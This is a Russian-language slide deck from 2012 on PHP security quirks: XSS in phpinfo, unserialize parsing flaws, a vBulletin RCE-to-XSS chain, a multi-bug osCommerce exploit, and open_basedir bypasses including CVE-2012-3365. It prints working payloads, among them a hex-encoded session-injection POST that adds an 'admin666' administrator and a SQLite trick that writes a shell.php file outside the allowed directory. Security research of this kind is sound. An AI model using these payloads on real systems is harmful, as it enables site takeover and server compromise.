Upload
blackfan
View
3.685
Download
0
Embed Size (px)
Citation preview
PHP tricks
Сергей «BlackFan» Бобров
Август, 2012 г.
Содержание
PHP Tricks• XSS в phpinfo
• Unserialize tricks
• etc…
vBulletin XSS via RCE
osCommerce Online Merchant 0day
PHP open_basedir bypass
PHP trick #1 – XSS в phpinfo
Названия дополнительных модулей и заголовочная информация подвержены XSS
PHP trick #2 – XSS в phpinfo
Начиная с PHP 5.4.0 для вывода PHP Streams, Stream Socket Transports и Stream Filters была создана отдельная функция
PHP trick #2 – XSS в phpinfo
Начиная с PHP 5.4.0 для вывода PHP Streams, Stream Socket Transports и Stream Filters была создана отдельная функция
PHP trick #3 – Баг парсера переменных
Неправильная замена символов в парсинге массивов в GET, POST, COOKIE
PHP trick #3 – Баг парсера переменных
Неправильная замена символов в парсинге массивов в GET, POST, COOKIE
GET /var_parser.php?aa%20aa=1
array(1) { ["aa_aa"]=> string(1) "1" }
GET /var_parser.php?a[a%20aa=1
array(1) { ["a_a aa"]=> string(1) "1" }
GET /var_parser.php?aa.aa=1
array(1) { ["aa_aa"]=> string(1) "1" }
GET /var_parser.php?a[a.aa=1
array(1) { ["a_a.aa"]=> string(1) "1" }
GET /var_parser.php?aa[aa=1
array(1) { ["aa_aa"]=> string(1) "1" }
GET /var_parser.php?a[a[aa=1
array(1) { ["a_a[aa"]=> string(1) "1" }
PHP tricks – Unserialize tricks
Сериализация — процесс перевода какой-либо структуры данных в последовательность битов.
Обратной к операции сериализации является операция десериализации — восстановление начального состояния структуры данных из битовой последовательности.
Пример сериализованных данных в PHPO:4:”test”:2:{s:4:”var1”;s:4:”test”;s:4:”var2”;b:1;}
PHP trick #4 – Unserialize trick #1
Целочисленное переполнение в unserialize
PHP trick #5 – Unsirialize trick #2
Произвольный символ после строки
PHP trick #6 – Unsirialize trick #3
«Необязательность» количества переменных и произвольные символы после них
PHP tricks – Unsirialize tricks
Объединим все нарушения синтаксиса в одну строку
PHP trick #7 – Unsirialize trick #4
Особенности выполнения деструктора
vBulletin XSS via RCE
vBulletin nulled <= 3.8.2 Arbitrary Function Executionhttp://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/
class vB_Shutdown {…function __destruct() {
…foreach ($this->shutdown AS $key =>
$funcname) { $funcname();
Не будем останавливаться на вызове phpinfo()
vBulletin XSS via RCE
debug_print_backtrace debug_print_backtrace prints a PHP backtrace. It prints the function calls,
included/required files and eval()ed stuff.
Пример вывода#0 vB_Shutdown->__destruct()#1 unserialize(a:1:{i:0;O:11:"vB_Shutdown":1:{s:8:"shutdown"; a:1:
{i:0;s:21:"debug_print_backtrace";}}}) called at [/path/forumdisplay.php:179]
vBulletin XSS via RCE
Exploithttp://vbulletin/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=2a2d3492e8667cad2393b8bfe620e70b00130d2a a:2:{ i:0;s:36:"<script>alert('Fuck yeah!')</script>"; i:1;O:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:1;s:21:"debug_print_backtrace";} }
osCommerce Online Merchant 0day #1
osCommerce Online Merchant 2.3.* is an Open Source online shop e-commerce solution that is available for free
with a feature rich set of out-of-the-box online shopping cart functionality that blah-blah-blah...
Модуль «Who's Online»• Просмотр информации об активных пользователях• Просмотр содержимого их корзины
osCommerce Online Merchant 0day #1
Реализация просмотра корзины в модуле «Who's Online»1. Берем сырые данные из сессии пользователя2. Находим подстроку содержащую объект корзины3. Десериализуем и обновляем массив _SESSION у администратора
(session_decode)
Аналогичные действия производим с • customer_id• сurrency• customer_country_id• customer_zone_id
osCommerce Online Merchant 0day #1
Содержимое сессий пользователей / гостей• sessiontoken• cart• language• navigation (история посещений включая GET/POST параметры)• customer_id (отсутствует у гостей)• etc…
osCommerce Online Merchant 0day #1
Реализация в коде
$start_id = strpos($session_data, 'customer_id|s');…$session_data_id = substr($session_data, $start_id,
(strpos($session_data, ';', $start_id) - $start_id + 1));…session_decode($session_data_id);
osCommerce Online Merchant 0day #1
Эксплуатация• «customer_id» в сессии идет после истории посещений• Наличие в истории «customer_id|s» нарушит логику поиска переменной• Поиск идет до следующей точки с запятой
session_decode('customer_id|s|foobar|s:7:"AWESOME";');var_dump($_SESSION);
array(3) { ["customer_id"] => NULL ["s"] => NULL ["foobar"] => string(7) "AWESOME"}
osCommerce Online Merchant 0day #2
Данные из сессии глобализуются с перезаписью
if (($session_started == true) && (PHP_VERSION >= 4.3) && function_exists('ini_get') &&
(ini_get('register_globals') == false) ) {
extract($_SESSION, EXTR_OVERWRITE+EXTR_REFS); }
osCommerce Online Merchant 0day #3
Индексы GPC массивов не проходят функцию addslashesНачиная с PHP 5.4.0 get_magic_quotes_gpc() всегда возвращает false и эта функция срабатывает
function do_magic_quotes_gpc(&$ar) { … while (list($key, $value) = each($ar)) {
if (is_array($ar[$key])) { do_magic_quotes_gpc($ar[$key]); } else { $ar[$key] = addslashes($value); }
osCommerce Online Merchant 0day #100500
Используем все перечисленные баги, а так же• За счет перезаписи переменных сделаем XSS в messageToStack (стек
информационных сообщений отображаемых в админ-панеле)• Подделаем запрос на добавление админа путем перезаписи массива
HTTP_POST_VARS• Уберем «зараженную» через XSS
Финальный эксплоит POST-запрос customer_id|s|HTTP_POST_VARS|a:2:
{s:8:"username"xs:8:"admin666"}s:8:"password"xs:8:"admin666"}}messageToStack|a:2:{s:1:"0"xa:2:{s:4:"text"xS:136:"Session\20expired.\20Please\20relogin.\3c\69\66\72\61\6d\65\20\73\72\63\3d\22\61\64\6d\69\6e\69\73\74\72\61\74\6f\72\73\2e\70\68\70\3f\61\63\74\69\6f\6e\3d\69\6e\73\65\72\74\22\20\73\74\79\6c\65\3d\22\76\69\73\69\62\69\6c\69\74\79\3a\68\69\64\64\65\6e\3b\77\69\64\74\68\3a\30\70\78\3b\68\65\69\67\68\74\3a\30\70\78\3b\22\3e\3c\2f\69\66\72\61\6d\65\3e"}s:4:"type"xs:0:""x}s:1:"1"xa:2:{s:4:"text"xS:100:"\3c\73\63\72\69\70\74\3e\73\65\74\49\6e\74\65\72\76\61\6c\28\66\75\6e\63\74\69\6f\6e\28\29\7b\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\3d\27\6f\73\43\41\64\6d\69\6e\49\44\3d\27\3b\64\6f\63\75\6d\65\6e\74\2e\6c\6f\63\61\74\69\6f\6e\3d\27\2f\27\3b\7d\2c\20\32\30\30\30\29\3c\2f\73\63\72\69\70\74\3e"}s:4:"type"xs:0:""x}}=1
osCommerce Online Merchant 0day #100500
Логика эксплоита:• Заражаем свою историю посещений• После открытия администратором модуля «who’s online» происходит
заражение его сессии• При следущем запросе администратору выдаст сообщение «Session
expired. Please relogin.»• В iframe подгрузится «administrators.php?action=insert» и добавится
администратор admin666:admin666• Через XSS перебрасываем админа на главную и очищаем
идентификатор с зараженной сессией <script>setInterval(function(){document.cookie='osCAdminID='; document.location='/';}, 2000)</script>
osCommerce Online Merchant 0day #100500
open_basedir Ограничивает указанным деревом каталогов файлы, которые могут
быть открыты с помощью PHP, включая сам файл. Эта директива НЕ подвержена влиянию безопасного режима.
http://www.php.net/manual/ru/ini.core.php#ini.open-basedir
PHP open_basedir bypass
Разная реакция функций на существующий и несуществующий файл за пределами open_basedir
var_dump(realpath('../test1.txt'));Warning: realpath() [function.realpath]: open_basedir restriction in effect.False
var_dump(realpath('../test1_.txt'));False
PHP open_basedir bypass #0
Разная реакция функций на существующий и несуществующий файл за пределами open_basedir
$z = new ZipArchive(); $z->open(“openbd.zip”,ZIPARCHIVE::CREATE); $z->addGlob(“/*”);
Warning: ZipArchive::addGlob() [ziparchive.addglob]: open_basedir restriction in effect. File(/bin/) is not within the allowed path(s):
PHP open_basedir bypass #1
DirectoryIterator directory listing by BECHED (14.01.12)http://ahack.ru/releases/glob_wrapper_open_basedir_exploit.php.txt
PHP open_basedir bypass #2
Логика проверки open_basedirNew DirectoryIterator(‘glob://../*’);• Путь к файлу попадает в функцию проверки вместе с враппером
glob://../*• Путь относительный, дописываем текущую директорию
/var/www/site/glob://../*• Нормализуем путь
/var/www/site/*• Файл лежит в разрешенной директории, пропускаем
PHP open_basedir bypass #2
SQLite In-Memory Databases
• An SQLite database is normally stored in a single ordinary disk file. However, in certain circumstances, the database might be stored in memory.
• The most common way to force an SQLite database to exist purely in memory is to open the database using the special filename ":memory:". For example: rc = sqlite3_open(":memory:", &db);
• When this is done, no disk file is opened. Instead, a new database is created purely in memory.
http://www.sqlite.org/inmemorydb.html
PHP open_basedir bypass #3 (CVE-2012-3365)
Варианты использования
• :memory:• file::memory:• file:%3A%6D%65%6D%6F%72%79%3A• file::memory:?cache=shared• file:memdb1?mode=memory&cache=shared
PHP open_basedir bypass #3 (CVE-2012-3365)
Реализация в коде/php-src/ext/sqlite3/sqlite3.c
/php-src/ext/sqlite3/libsqlite/sqlite3.c
PHP open_basedir bypass #3 (CVE-2012-3365)
Создание файлов за пределами open_basedir через SQLite
<?phpmkdir(‘:memory:’);$database = new SQLite3(“:memory:/../../shell.php”);$database->exec(“CREATE TABLE foo (bar STRING)”);$database->exec(“INSERT INTO foo (bar) VALUES (‘<?php phpinfo(); ?>’)”);$database->close();rmdir(‘:memory:’);
?>
PHP open_basedir bypass #3 (CVE-2012-3365)
Improve check for :memory: pseudo-filename in SQlite (https://github.com/php/php-src/commit/055ecbc62878e86287d742c7246c21606cee8183)
Было:
if (strncmp(filename, ":memory:", 8) != 0)
Стало:
if (memcmp(filename, ":memory:", sizeof(":memory:")) != 0)
PHP open_basedir bypass #3 (CVE-2012-3365)
Спасибо за внимание!